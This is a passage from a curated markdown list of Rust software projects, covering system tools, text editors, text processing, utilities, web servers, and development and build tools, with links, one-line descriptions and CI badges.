tool [![build badge](https://github.com/RustScan/RustScan/workflows/Continuous%20integration/badge.svg?branch=master)](https://github.com/RustScan/RustScan/actions?query=workflow%3A%22Continuous+integration%22) ### Simulation * [hEngine](https://github.com/hashintel/hash/tree/main/apps/engine) - A Rust-implemented computational simulation engine, supporting large-scale agent-based modelling, with simulation logic written in JavaScript and Python. ### Social networks * Mastodon * [Rustodon](https://github.com/rustodon/rustodon) - A Mastodon-compatible, ActivityPub-speaking server in Rust ### System tools * [ajeetdsouza/zoxide](https://github.com/ajeetdsouza/zoxide/) — A fast alternative to `cd` that learns your habits [![release](https://github.com/ajeetdsouza/zoxide/workflows/.github/workflows/release.yml/badge.svg)](https://github.com/ajeetdsouza/zoxide/actions) * [Alonely0/Voila](https://github.com/Alonely0/Voila) — Voila is a domain-specific language launched through CLI tool for operating with files and directories in massive amounts in a fast & reliable way. [![Linux build](https://github.com/Alonely0/Voila/actions/workflows/linux-ci.yml/badge.svg)](https://github.com/Alonely0/Voila/actions/workflows/linux-ci.yml) [![macOS build](https://github.com/Alonely0/Voila/actions/workflows/mac-ci.yml/badge.svg)](https://github.com/Alonely0/Voila/actions/workflows/mac-ci.yml) [![Windows build](https://github.com/Alonely0/Voila/actions/workflows/windows-ci.yml/badge.svg)](https://github.com/Alonely0/Voila/actions/workflows/windows-ci.yml) * [atuin](https://github.com/atuinsh/atuin) [[atuin](https://crates.io/crates/atuin)] — Atuin replaces your existing shell history with a SQLite database, and records additional context for your commands. Additionally, it provides optional and fully encrypted synchronisation of your history between machines, via an Atuin server. * [bandwhich](https://github.com/imsnif/bandwhich) — Terminal bandwidth utilization tool * [bottom](https://github.com/ClementTsang/bottom) - Yet another cross-platform graphical process/system monitor. [![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/ClementTsang/bottom/ci/master)](https://github.com/ClementTsang/bottom/actions?query=branch%3Amaster) * [brocode/fblog](https://github.com/brocode/fblog) — Small command-line JSON Log viewer * [bustd](https://github.com/vrmiguel/bustd) - Lightweight process killer daemon to handle out-of-memory scenarios on Linux. [![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/vrmiguel/bustd/build-and-test)](https://github.com/vrmiguel/bustd/actions?query=branch%3Amaster) * [buster/rrun](https://github.com/buster/rrun) — A command launcher for Linux, similar to gmrun * [cantino/mcfly](https://github.com/cantino/mcfly) - Fly through your shell history. Great Scott! * [crabz](https://github.com/sstadick/crabz) - Multi-threaded compression and decompression CLI tool [![Build Status](https://github.com/sstadick/crabz/workflows/Check/badge.svg)](https://github.com/sstadick/crabz/actions?query=workflow%3ACheck) * [cristianoliveira/funzzy](https://github.com/cristianoliveira/funzzy) — A configurable filesystem watcher inspired by [entr](http://eradman.com/entrproject/) * [dalance/procs](https://github.com/dalance/procs) — A modern replacement for 'ps' written by Rust [![Regression](https://github.com/dalance/procs/actions/workflows/regression.yml/badge.svg)](https://github.com/dalance/procs/actions/workflows/regression.yml) * [ddh](https://github.com/darakian/ddh) — Fast duplicate file finder * [diskonaut](https://github.com/imsnif/diskonaut) — Terminal visual disk space navigator * [dust](https://github.com/bootandy/dust) — A more intuitive version of du * [fselect](https://crates.io/crates/fselect) — Find files with SQL-like queries * [gitui](https://github.com/extrawurst/gitui) - Blazing fast terminal client for git written in Rust. [![build](https://github.com/extrawurst/gitui/workflows/CI/badge.svg?branch=master)](https://github.com/extrawurst/gitui/actions) * [GQL](https://github.com/amrdeveloper/gql) — A SQL like query language to run on .git files. * [j0ru/kickoff](https://github.com/j0ru/kickoff) - Fast and snappy wayland program launcher [![build](https://github.com/j0ru/kickoff/actions/workflows/ci.yml/badge.svg)](https://github.com/j0ru/kickoff/actions) * [Kondo](https://github.com/tbillington/kondo) - CLI & GUI tool for deleting software project artifacts and reclaiming disk space * [lotabout/rargs](https://github.com/lotabout/rargs) [[rargs](https://crates.io/crates/rargs)] — xargs + awk with pattern matching support * [lotabout/skim](https://github.com/lotabout/skim) — A fuzzy finder in pure rust * [lsd](https://github.com/lsd-rs/lsd) — An ls with a lot of pretty colors and awesome icons [![build](https://github.com/lsd-rs/lsd/workflows/CICD/badge.svg?branch=master)](https://github.com/lsd-rs/lsd/actions) * [Luminarys/synapse](https://github.com/Luminarys/synapse) — Flexible and fast BitTorrent daemon. * [m4b/bingrep](https://github.com/m4b/bingrep) — Greps through binaries from various OSs and architectures, and colors them. * [mitnk/cicada](https://github.com/mitnk/cicada) — A bash-like Unix shell * [mmstick/concurr](https://github.com/mmstick/concurr) — Alternative to GNU Parallel w/ a client-server architecture * [mmstick/fontfinder](https://github.com/mmstick/fontfinder) — GTK3 application for previewing and installing Google's fonts * [mmstick/tv-renamer](https://github.com/mmstick/tv-renamer) — A tv series renaming application with an optional GTK3 frontend. * [mxseev/logram](https://github.com/mxseev/logram) — Push log files' updates to Telegram * [nickgerace/gfold](https://github.com/nickgerace/gfold) [[gfold](https://crates.io/crates/gfold)] - CLI tool to help keep track of multiple Git repositories [![build](https://img.shields.io/github/workflow/status/nickgerace/gfold/merge/main)](https://github.com/nickgerace/gfold/actions?query=workflow%3Amerge+branch%3Amain) * [nivekuil/rip](https://github.com/nivekuil/rip) - A safe and ergonomic alternative to `rm` * [nushell/nushell](https://github.com/nushell/nushell) - A new type of shell * [ogham/exa](https://github.com/ogham/exa) — A replacement for 'ls' * [orhun/kmon](https://github.com/orhun/kmon) — Linux Kernel Manager and Activity Monitor ![https://github.com/orhun/kmon/actions](https://img.shields.io/github/actions/workflow/status/orhun/kmon/ci.yml?branch=master&label=build) * [orhun/systeroid](https://github.com/orhun/systeroid) — A more powerful alternative to sysctl(8) with a terminal user interface ![https://github.com/orhun/systeroid/actions](https://img.shields.io/github/actions/workflow/status/orhun/systeroid/ci.yml?branch=main&label=build) * [ouch](https://github.com/ouch-org/ouch) - Painless compression and decompression on the command-line [![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/ouch-org/ouch/build-and-test)](https://github.com/ouch-org/ouch/actions?query=branch%3Amaster) * [pop-os/popsicle](https://github.com/pop-os/popsicle) — GTK3 & CLI utility for flashing multiple USB devices in parallel * [pop-os/system76-power](https://github.com/pop-os/system76-power/) — Linux power management daemon (DBus-interface) with CLI tool. * [pueue](https://github.com/nukesor/pueue) — Manage your long running shell commands. [![GitHub Actions Workflow](https://github.com/nukesor/pueue/workflows/Test%20build/badge.svg?branch=master)](https://github.com/nukesor/pueue/actions) * [qarmin/cakawka](https://github.com/qarmin/czkawka) - Multi-functional app to find duplicates, empty folders, similar images, etc. [![GitHub Actions Workflow](https://github.com/qarmin/czkawka/actions/workflows/pages/pages-build-deployment/badge.svg?branch=master)](https://github.com/qarmin/czkawka/actions) * [redox-os/ion](https://github.com/redox-os/ion) — Next-generation system shell * [sharkdp/bat](https://github.com/sharkdp/bat) — A cat(1) clone with wings. [![CICD](https://github.com/sharkdp/bat/actions/workflows/CICD.yml/badge.svg?branch=master)](https://github.com/sharkdp/bat/actions/workflows/CICD.yml) * [sharkdp/fd](https://github.com/sharkdp/fd) — A simple, fast and user-friendly alternative to find. [![CICD](https://github.com/sharkdp/fd/actions/workflows/CICD.yml/badge.svg)](https://github.com/sharkdp/fd/actions/workflows/CICD.yml) * [sitkevij/hex](https://github.com/sitkevij/hex) — A colorized hexdump terminal utility. * [supercilex/fuc](https://github.com/supercilex/fuc) - Fast `cp` and `rm` commands * [trippy](https://github.com/fujiapple852/trippy) - A network diagnostic tool [![build badge](https://github.com/fujiapple852/trippy/workflows/CI/badge.svg)](https://github.com/fujiapple852/trippy/actions/workflows/ci.yml) * [uutils/coreutils](https://github.com/uutils/coreutils) — A cross-platform Rust rewrite of the GNU coreutils [[![CICD](https://github.com/uutils/coreutils/actions/workflows/CICD.yml/badge.svg)](https://github.com/uutils/coreutils/actions/workflows/CICD.yml) * [watchexec](https://github.com/watchexec/watchexec) — Executes commands in response to file modifications * [XAMPPRocky/tokei](https://github.com/XAMPPRocky/tokei) — counts the lines of code ### Task scheduling * [delicate](https://github.com/BinChengZhao/delicate) — A lightweight and distributed task scheduling platform written in rust. [![Build Status](https://github.com/BinChengZhao/delicate/workflows/CI/badge.svg)](https://github.com/BinChengZhao/delicate/actions) ### Text editors * [amp](https://amp.rs) — Inspired by Vi/Vim. * [emacs-ng](https://github.com/emacs-ng/emacs-ng) — Complementing the C codebase with rust code to introduce new features. * [gchp/iota](https://github.com/gchp/iota) — A simple text editor * [helix](https://github.com/helix-editor/helix) — A post-modern modal text editor inspired by Neovim/Kakoune. [![build badge](https://github.com/helix-editor/helix/actions/workflows/build.yml/badge.svg)](https://github.com/helix-editor/helix/actions) * [ilai-deutel/kibi](https://github.com/ilai-deutel/kibi) — A tiny (≤1024 LOC) text editor with syntax highlighting, incremental search and more. [![build badge](https://github.com/ilai-deutel/kibi/workflows/CI/badge.svg?branch=master)](https://github.com/ilai-deutel/kibi/actions?query=branch%3Amaster) * [Lapce](https://github.com/lapce/lapce) — A modern editor with a backend written in Rust. Taking inspiration from the discontinued [xi-editor](https://github.com/xi-editor/xi-editor). * [mathall/rim](https://github.com/mathall/rim) — Vim-like text editor written in Rust * [ox](https://github.com/curlpipe/ox) — An independent Rust text editor that runs in your terminal! * [vamolessa/pepper](https://github.com/vamolessa/pepper) [[pepper](https://crates.io/crates/pepper)] — An opinionated modal editor to simplify code editing from the terminal [![build badge](https://github.com/vamolessa/pepper/workflows/rust/badge.svg?branch=master)](https://github.com/vamolessa/pepper) ### Text processing * [dominikwilkowski/cfonts](https://github.com/dominikwilkowski/cfonts) [[cfonts](https://crates.io/crates/cfonts)] — Sexy ANSI fonts for the console ![build badge](https://github.com/dominikwilkowski/cfonts/actions/workflows/testing.yml/badge.svg) * [grex](https://github.com/pemistahl/grex) — A command-line tool and library for generating regular expressions from user-provided test cases * [jqnatividad/qsv](https://github.com/jqnatividad/qsv) [[qsv](https://crates.io/crates/qsv)] — A high performance CSV data-wrangling toolkit. Forked from xsv, with 34+ additional commands & more. [![Linux build status](https://github.com/jqnatividad/qsv/actions/workflows/rust.yml/badge.svg)](https://github.com/jqnatividad/qsv/actions/workflows/rust.yml) [![Windows build status](https://github.com/jqnatividad/qsv/actions/workflows/rust-windows.yml/badge.svg)](https://github.com/jqnatividad/qsv/actions/workflows/rust-windows.yml) [![macOS build status](https://github.com/jqnatividad/qsv/actions/workflows/rust-macos.yml/badge.svg)](https://github.com/jqnatividad/qsv/actions/workflows/rust-macos.yml) * [Lisprez/so_stupid_search](https://github.com/Lisprez/so_stupid_search) — A simple and fast string search tool for human beings * [Melody](https://github.com/yoav-lavi/melody) - A language that compiles to regular expressions and aims to be more easily readable and maintainable [![build badge](https://github.com/yoav-lavi/melody/actions/workflows/rust.yml/badge.svg)](https://github.com/yoav-lavi/melody/actions/workflows/rust.yml) [![crates.io](https://img.shields.io/crates/v/melody_compiler?label=compiler)](https://crates.io/crates/melody_compiler) * [phiresky/ripgrep-all](https://github.com/phiresky/ripgrep-all) — ripgrep, but also search in PDFs, E-Books, Office documents, zip, tar.gz, etc. * [replicadse/complate](https://github.com/replicadse/complate) — An in-terminal text templating tool designed for standardizing messages (like for GIT commits). [![crates.io](https://img.shields.io/crates/v/complate.svg)](https://crates.io/crates/complate) [![crates.io](https://img.shields.io/crates/d/complate?label=crates.io%20downloads)](https://crates.io/crates/complate) [![build badge](https://github.com/replicadse/complate/workflows/pipeline/badge.svg?branch=master)](https://github.com/replicadse/complate/actions) * [ripgrep](https://crates.io/crates/ripgrep) — combines the usability of The Silver Searcher with the raw speed of grep * [ruplacer](https://github.com/your-tools/ruplacer) — Find and replace text in source files [![Run tests](https://github.com/your-tools/ruplacer/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/your-tools/ruplacer/actions/workflows/test.yml) * [sd](https://crates.io/crates/sd) — Intuitive find & replace CLI * [sstadick/hck](https://github.com/sstadick/hck) - A faster and more featureful drop in replacement for `cut` [![build badge](https://github.com/sstadick/hck/workflows/Check/badge.svg?branch=master)](https://github.com/sstadick/hck) * [vishaltelangre/ff](https://github.com/vishaltelangre/ff) — Find files (ff) by name! * [whitfin/bytelines](https://github.com/whitfin/bytelines) [[bytelines](https://crates.io/crates/bytelines)] — Read input lines as byte slices for high efficiency. * [whitfin/runiq](https://github.com/whitfin/runiq) — an efficient way to filter duplicate lines from unsorted input. * [xsv](https://crates.io/crates/xsv) — A fast CSV command line tool (slicing, indexing, selecting, searching, sampling, etc.) ### Utilities * [1History](https://github.com/1History/1History) — Command line interface to backup Firefox/Chrome/Safari history to one SQLite file [![Build Status](https://github.com/1History/1History/actions/workflows/CI.yml/badge.svg)](https://github.com/1History/1History/actions/workflows/CI.yml) * [brycx/checkpwn](https://github.com/brycx/checkpwn) — A Have I Been Pwned (HIBP) command-line utility tool that lets you easily check for compromised accounts and passwords. * [Epic Asset Manager](https://github.com/AchetaGames/Epic-Asset-Manager) — An unofficial client to install Unreal Engine, download and manage purchased assets, projects, plugins and games from the Epic Games Store. * [evansmurithi/cloak](https://github.com/evansmurithi/cloak) — A Command Line OTP (One Time Password) Authenticator application. ![CI](https://github.com/evansmurithi/cloak/workflows/CI/badge.svg) [![build badge](https://ci.appveyor.com/api/projects/status/9mlfpfru3ng4c689/branch/master?svg=true)](https://ci.appveyor.com/project/evansmurithi/cloak) * [fcsonline/tmux-thumbs](https://github.com/fcsonline/tmux-thumbs) — A lightning fast version of tmux-fingers written in Rust, copy/pasting tmux like vimium/vimperator. * [guoxbin/dtool](https://github.com/guoxbin/dtool) — A useful command-line tool collection to assist development including conversion, codec, hashing, encryption, etc. * [mprocs](https://github.com/pvolok/mprocs) — TUI for running multiple processes * [mrjackwills/oxker](https://github.com/mrjackwills/oxker) [[oxker](https://crates.io/crates/oxker)] - A simple tui to view & control docker containers. * [nix-community/nix-init](https://github.com/nix-community/nix-init) — Generate Nix packages from URLs with hash prefetching, dependency inference, license detection, and more [![build-badge](https://github.com/nix-community/nix-init/actions/workflows/ci.yml/badge.svg)](https://github.com/nix-community/nix-init/actions/workflows/ci.yml) * [nix-community/nix-melt](https://github.com/nix-community/nix-melt) — A ranger-like flake.lock viewer [![build-badge](https://github.com/nix-community/nix-melt/actions/workflows/ci.yml/badge.svg)](https://github.com/nix-community/nix-melt/actions/workflows/ci.yml) * [nix-community/nurl](https://github.com/nix-community/nurl) [[nurl](https://crates.io/crates/nurl)] — Generate Nix fetcher calls from repository URLs [![build-badge](https://github.com/nix-community/nurl/actions/workflows/ci.yml/badge.svg)](https://github.com/nix-community/nurl/actions/workflows/ci.yml) * [nomino](https://github.com/yaa110/nomino) — Batch rename utility for developers * [raftario/licensor](https://github.com/raftario/licensor) — write licenses to stdout [![GitHub Actions](https://github.com/raftario/licensor/actions/workflows/build.yml/badge.svg?branch=master)](https://github.com/raftario/licensor/actions/workflows/build.yml) * [rust-parallel](https://github.com/aaronriekenberg/rust-parallel) - Fast command line app using Tokio to execute commands in parallel. Similar interface to GNU Parallel or xargs. [![Crate](https://img.shields.io/crates/v/rust-parallel.svg?logo=rust)](https://crates.io/crates/rust-parallel) [![Build Status](https://github.com/aaronriekenberg/rust-parallel/actions/workflows/CI.yml/badge.svg)](https://github.com/aaronriekenberg/rust-parallel/actions/workflows/CI.yml) * [rustdesk/rustdesk](https://github.com/rustdesk/rustdesk) — A remote desktop software, great alternative to TeamViewer and AnyDesk. * [rustic-rs/rustic](https://github.com/rustic-rs/rustic) [[rustic-rs](https://crates.io/crates/rustic-rs)] — Fast, encrypted, deduplicated backups powered by Rust. [![Version](https://img.shields.io/crates/v/rustic-rs.svg)](https://crates.io/crates/rustic-rs) * [tversteeg/emplace](https://github.com/tversteeg/emplace) — Synchronize installed packages on multiple machines * [vamolessa/verco](https://github.com/vamolessa/verco) [[verco](https://crates.io/crates/verco)] — A simple Git/Hg tui client focused on keyboard shortcuts * [vaultwarden](https://github.com/dani-garcia/vaultwarden#readme) [![Build](https://github.com/dani-garcia/vaultwarden/actions/workflows/build.yml/badge.svg)](https://github.com/dani-garcia/vaultwarden/actions/workflows/build.yml) — Alternative implementation of the Bitwarden server API written in Rust * [warpdotdev/Warp](https://github.com/warpdotdev/Warp) :heavy_dollar_sign: — Warp is a blazingly-fast modern Rust based GPU-accelerated terminal built to make you and your team more productive. * [yaa110/cb](https://github.com/yaa110/cb) — Command line interface to manage clipboard ### Video * [dertuxmalwieder/yaydl](https://github.com/dertuxmalwieder/yaydl) [[yaydl](https://crates.io/crates/yaydl)] - A simple video downloader * [harlanc/xiu](https://github.com/harlanc/xiu) — A powerful and secure live server by pure rust (rtmp/httpflv/hls/relay). [![crates.io](https://img.shields.io/crates/v/xiu.svg)](https://crates.io/crates/xiu) * [vidmerger](https://github.com/TGotwig/vidmerger) — 📼 Merge video & audio files via CLI * [xiph/rav1e](https://github.com/xiph/rav1e) — The fastest and safest AV1 encoder. ### Virtualization * [containers/youki](https://github.com/containers/youki) — A container runtime in Rust [![build badge](https://github.com/containers/youki/actions/workflows/main.yml/badge.svg?branch=main)](https://github.com/containers/youki/actions) * [firecracker-microvm/firecracker](https://github.com/firecracker-microvm/firecracker) — A lightweight virtual machine for container workload [Firecracker Microvm](https://firecracker-microvm.github.io/) * [tailhook/vagga](https://github.com/tailhook/vagga) — A containerization tool without daemons ### Web * [cfal/tobaru](https://github.com/cfal/tobaru) - Port forwarder with allowlists, IP and TLS SNI/ALPN rule-based routing, iptables support, round-robin forwarding (load balancing), and hot reloading. * [LemmyNet/lemmy](https://github.com/LemmyNet/lemmy) — A link aggregator / reddit clone for the fediverse [![Build Status](https://cloud.drone.io/api/badges/LemmyNet/lemmy/status.svg)](https://cloud.drone.io/LemmyNet/lemmy) * [libreddit](https://github.com/libreddit/libreddit) - An alternative private front-end to Reddit * [MASQ-Project/Node](https://github.com/MASQ-Project/Node) — MASQ Node software provides a decentralized mesh-network of nodes for global users to access normal internet content - next evolution of tech beyond Tor & VPN [![build badge](https://github.com/MASQ-Project/Node/actions/workflows/ci-matrix.yml/badge.svg)](https://github.com/MASQ-Project/Node/actions) * [Plume-org/Plume](https://github.com/Plume-org/Plume) — ActivityPub federating blogging application * [Revolt/backend](https://github.com/revoltchat/backend) - User-first chat platform built with modern web technologies. ### Web Servers * [emanuele-em/man-in-the-middle-proxy](https://github.com/emanuele-em/man-in-the-middle-proxy) — A MITM Proxy 🦀! Toolkit for HTTP/1, HTTP/2, and WebSockets with SSL/TLS Capabilities [![Rust](https://github.com/emanuele-em/man-in-the-middle-proxy/actions/workflows/rust.yml/badge.svg)](https://github.com/emanuele-em/man-in-the-middle-proxy/actions/workflows/rust.yml) * [mu-arch/skyfolder](https://github.com/mu-arch/skyfolder) - 🪂 Beautiful HTTP/Bittorrent server without the hassle. Secure - GUI - Pretty - Fast * [mufeedvh/binserve](https://github.com/mufeedvh/binserve) — A blazingly fast static web server with routing, templating, and security in a single binary you can set up with zero code [![build badge](https://github.com/mufeedvh/binserve/workflows/CICD/badge.svg?branch=master)](https://github.com/mufeedvh/binserve/actions) * [orhun/rustypaste](https://github.com/orhun/rustypaste) — A minimal file upload/pastebin service ![https://github.com/orhun/rustypaste/actions](https://img.shields.io/github/actions/workflow/status/orhun/rustypaste/ci.yml?branch=master&label=build) * [ronanyeah/rust-hasura](https://github.com/ronanyeah/rust-hasura) — A demonstration of how a Rust GraphQL server can be used as a remote schema with [Hasura](https://hasura.io/) ![Rust](https://github.com/ronanyeah/rust-hasura/workflows/Rust/badge.svg?branch=master) * [static-web-server](https://github.com/static-web-server/static-web-server) — A blazing fast and asynchronous web server for static files-serving. ⚡ [![CI](https://github.com/static-web-server/static-web-server/actions/workflows/devel.yml/badge.svg)](https://github.com/static-web-server/static-web-server/actions/workflows/devel.yml?query=branch%3Amaster) * [svenstaro/miniserve](https://github.com/svenstaro/miniserve) — A small, self-contained cross-platform CLI tool that allows you to just grab the binary and serve some file(s) via HTTP [![build badge](https://github.com/svenstaro/miniserve/workflows/CI/badge.svg?branch=master)](https://github.com/svenstaro/miniserve/actions) * [thecoshman/http](https://github.com/thecoshman/http) — Host These Things Please — A basic http server for hosting a folder fast and simply * [TheWaWaR/simple-http-server](https://github.com/TheWaWaR/simple-http-server) — simple static http server * [wyhaya/see](https://github.com/wyhaya/see) — Static HTTP file server ## Development tools * [bacon](https://github.com/Canop/bacon) — background rust code checker, similar to cargo-watch * [clippy](https://crates.io/crates/clippy) — Rust lints * [clog-tool/clog-cli](https://github.com/clog-tool/clog-cli) — generates a changelog from git metadata ([conventional changelog](https://blog.thoughtram.io/announcements/tools/2014/09/18/announcing-clog-a-conventional-changelog-generator-for-the-rest-of-us.html)) * [comtrya](https://github.com/comtrya/comtrya) — A configuration management tool for localhost / dotfiles [![build badge](https://github.com/comtrya/comtrya/actions/workflows/main.yaml/badge.svg)](https://github.com/comtrya/comtrya/actions) * [create-rust-app](https://github.com/Wulf/create-rust-app) — Set up a modern rust+react web app by running one command. [![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/create-rust-app) * [dan-t/rusty-tags](https://github.com/dan-t/rusty-tags) — create ctags/etags for a cargo project and all of its dependencies * [datanymizer/datanymizer](https://github.com/datanymizer/datanymizer) - Powerful database anonymizer with flexible rules [![build badge](https://github.com/datanymizer/datanymizer/workflows/CI/badge.svg?branch=main)](https://github.com/datanymizer/datanymizer/actions?query=workflow%3ACI+branch%3Amain) * [delta](https://crates.io/crates/git-delta) — A syntax-highlighter for git and diff output[![build badge](https://github.com/dandavison/delta/workflows/Continuous%20Integration/badge.svg)](https://github.com/dandavison/delta//actions) * [dotenv-linter](https://github.com/dotenv-linter/dotenv-linter) — Linter for `.env` files [![build badge](https://github.com/dotenv-linter/dotenv-linter/workflows/CI/badge.svg?branch=master)](https://github.com/dotenv-linter/dotenv-linter/actions?query=workflow%3ACI+branch%3Amaster) * [frolic](https://github.com/FrolicOrg/Frolic) — An API layer to build customer facing dashboards 10x faster * [fw](https://github.com/brocode/fw) — workspace productivity booster [![Rust](https://github.com/brocode/fw/actions/workflows/rust.yml/badge.svg)](https://github.com/brocode/fw/actions/workflows/rust.yml) * [geiger](https://github.com/rust-secure-code/cargo-geiger) — A program that list statistics related to usage of unsafe Rust code in a Rust crate and all its dependencies [![Build Status](https://dev.azure.com/cargo-geiger/cargo-geiger/_apis/build/status/rust-secure-code.cargo-geiger?branchName=master)](https://dev.azure.com/cargo-geiger/cargo-geiger/_build/latest?definitionId=1&branchName=master) * [git-cliff](https://github.com/orhun/git-cliff) — A highly customizable Changelog Generator that follows Conventional Commit specifications ![https://github.com/orhun/git-cliff/actions](https://img.shields.io/github/actions/workflow/status/orhun/git-cliff/ci.yml?branch=main&label=build) * [git-journal](https://github.com/saschagrunert/git-journal/) — The Git Commit Message and Changelog Generation Framework * [hot-lib-reloader](https://github.com/rksm/hot-lib-reloader-rs) — Hot reload Rust code [![build badge](https://github.com/rksm/hot-lib-reloader-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/rksm/hot-lib-reloader-rs/actions/workflows/ci.yml) * [intelli-shell](https://github.com/lasantosr/intelli-shell) - Bookmark commands with placeholders and search or autocomplete at any time [![crate](https://img.shields.io/crates/v/intelli-shell.svg)](https://crates.io/crates/intelli-shell) [![build badge](https://github.com/lasantosr/intelli-shell/actions/workflows/release.yml/badge.svg)](https://github.com/lasantosr/intelli-shell/actions/workflows/release.yml) * [just](https://github.com/casey/just) — A handy command runner for project-specific tasks * [mask](https://github.com/jacobdeichert/mask) — A CLI task runner defined by a simple markdown file [![build badge](https://github.com/jacobdeichert/mask/workflows/CI/badge.svg?branch=master)](https://github.com/jacobdeichert/mask/actions?query=workflow%3ACI) * [Module Linker](https://github.com/fiatjaf/module-linker) — Extension that adds `<a>` links to references in `mod`, `use` and `extern crate` statements at GitHub. * [ptags](https://github.com/dalance/ptags) — A parallel universal-ctags wrapper for git repository * [Racer](https://github.com/racer-rust/racer) — code completion for Rust * [Rust Search Extension](https://github.com/huhu/rust-search-extension) — A handy browser extension to search crates and docs in address bar (omnibox). [![Build Status](https://github.com/huhu/rust-search-extension/workflows/build/badge.svg?branch=master)](https://github.com/huhu/rust-search-extension/actions) * [rust-lang/rustfix](https://github.com/rust-lang/rustfix) — automatically applies the suggestions made by rustc * [Rustup](https://github.com/rust-lang/rustup) — the Rust toolchain installer [![build badge](https://github.com/rust-lang/rustup/workflows/Linux%20(master)/badge.svg?branch=master)](https://github.com/rust-lang/rustup/actions) * [scriptisto](https://github.com/igor-petruk/scriptisto) A language-agnostic "shebang interpreter" that enables you to write one file scripts in compiled languages. [![Build Status](https://cloud.drone.io/api/badges/igor-petruk/scriptisto/status.svg)](https://cloud.drone.io/igor-petruk/scriptisto) ### Build system * [Cargo](https://crates.io/) — the Rust package manager * [cargo-all-features](https://github.com/frewsxcv/cargo-all-features) - A configurable subcommand to simplify testing, building and much more for all combinations of features [![CI](https://github.com/frewsxcv/cargo-all-features/actions/workflows/ci.yml/badge.svg)](https://github.com/frewsxcv/cargo-all-features/actions/workflows/ci.yml) * [cargo-benchcmp](https://crates.io/crates/cargo-benchcmp) — A utility to compare Rust micro-benchmarks * [cargo-bitbake](https://crates.io/crates/cargo-bitbake) — A cargo extension that can generate BitBake recipes utilizing the classes from meta-rust * [cargo-cache](https://crates.io/crates/cargo-cache) — inspect/manage/clean your cargo cache (`~/.cargo/`/`${CARGO_HOME}`), print sizes etc [![Build Status](https://github.com/matthiaskrgr/cargo-cache/workflows/ci/badge.svg?branch=master)](https://github.com/matthiaskrgr/cargo-cache/actions) * [cargo-check](https://crates.io/crates/cargo-check) — A wrapper around `cargo rustc -- -Zno-trans` which can be helpful for running a faster compile if you only need correctness checks * [cargo-commander](https://crates.io/crates/cargo-commander) — A subcommand for `cargo` to run CLI commands similar to how the scripts section in `package.json` works [![Build and test](https://github.com/simonhyll/cargo-commander/actions/workflows/build.yml/badge.svg)](https://github.com/simonhyll/cargo-commander/actions/workflows/build.yml) * [cargo-count](https://crates.io/crates/cargo-count) — lists source code counts and details about cargo projects, including unsafe statistics * [cargo-deb](https://crates.io/crates/cargo-deb) — Generates binary Debian packages * [cargo-deps](https://crates.io/crates/cargo-deps) — build dependency graphs of Rust projects * [cargo-do](https://crates.io/crates/cargo-do) — run multiple cargo commands in a row * [cargo-ebuild](https://crates.io/crates/cargo-ebuild) — cargo extension that can generate ebuilds using the in-tree eclasses * [cargo-edit](https://crates.io/crates/cargo-edit) — allows you to add and list dependencies by reading/writing to your Cargo.toml file from the command line * [cargo-generate](https://github.com/cargo-generate/cargo-generate) A generator of a rust project by leveraging a pre-existing git repository as a template. * [cargo-graph](https://crates.io/crates/cargo-graph) — updated fork of `cargo-dot` with additional features. Unmaintained, see `cargo-deps` * [cargo-info](https://crates.io/crates/cargo-info) — queries crates.io for crates details from command line * [cargo-license](https://crates.io/crates/cargo-license) — A cargo subcommand to quickly view the licenses of all dependencies. * [cargo-limit](https://crates.io/crates/cargo-limit) — Cargo with less noise: warnings are skipped until errors are fixed, Neovim integration, etc. [![build badge](https://github.com/alopatindev/cargo-limit/actions/workflows/rust.yml/badge.svg)](https://github.com/alopatindev/cargo-limit/actions) * [cargo-make](https://crates.io/crates/cargo-make) — Rust task runner and build tool. [![build badge](https://github.com/sagiegurari/cargo-make/workflows/CI/badge.svg?branch=master)](https://github.com/sagiegurari/cargo-make/actions) * [cargo-modules](https://crates.io/crates/cargo-modules) — A cargo plugin for showing a tree-like overview of a crate's modules. * [cargo-multi](https://crates.io/crates/cargo-multi) — runs specified cargo command on multiple crates * [cargo-outdated](https://crates.io/crates/cargo-outdated) — displays when newer versions of Rust dependencies are available, or out of date * [cargo-rdme](https://github.com/orium/cargo-rdme) [[cargo-rdme](https://crates.io/crates/cargo-rdme)] — Cargo subcommand to create your README from your crate’s documentation. [![build badge](https://github.com/orium/cargo-rdme/workflows/CI/badge.svg)](https://github.com/orium/cargo-rdme/actions?query=workflow%3ACI) * [cargo-release](https://crates.io/crates/cargo-release) — tool for releasing git-managed cargo project, build, tag, publish, doc and push [![Rust](https://github.com/crate-ci/cargo-release/actions/workflows/ci.yml/badge.svg)](https://github.com/crate-ci/cargo-release/actions/workflows/rust.yml) * [cargo-script](https://crates.io/crates/cargo-script) — lets people quickly and easily run Rust "scripts" which can make use of Cargo's package ecosystem * [cargo-udeps](https://github.com/est31/cargo-udeps) [[cargo-udeps](https://crates.io/crates/cargo-udeps)] — find unused dependencies * [cargo-update](https://crates.io/crates/cargo-update) — cargo subcommand for checking and applying updates to installed executables * [cargo-watch](https://crates.io/crates/cargo-watch) — utility for cargo to compile projects when sources change * [dtolnay/cargo-expand](https://github.com/dtolnay/cargo-expand) — Expand macros in your source code * CMake * [Devolutions/CMakeRust](https://github.com/Devolutions/CMakeRust) — useful for integrating a Rust library into a CMake project * [SiegeLord/RustCMake](https://github.com/SiegeLord/RustCMake) — an example project showing usage of CMake with Rust * [Fleet](https://github.com/dimensionhq/fleet) [[fleet-rs](https://crates.io/crates/fleet-rs)] - The blazing fast build tool for Rust. * Github actions * [icepuma/rust-action](https://github.com/icepuma/rust-action) — rust github action * [peaceiris/actions-mdbook](https://github.com/peaceiris/actions-mdbook) — GitHub Actions for mdBook * [Nix](https://nixos.org/) * [nix-community/fenix](https://github.com/nix-community/fenix) — Rust toolchains and rust analyzer nightly for nix [![build-badge](https://github.com/nix-community/fenix/actions/workflows/ci.yml/badge.svg)](https://github.com/nix-community/fenix/actions/workflows/ci.yml) ### Debugging * GDB * [gdbgui](https://github.com/cs01/gdbgui) — Browser based frontend for gdb to debug C, C++, Rust, and go. * LLDB * [CodeLLDB](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb) — A LLDB extension for [Visual Studio Code](https://code.visualstudio.com/). ### Deployment * Docker * 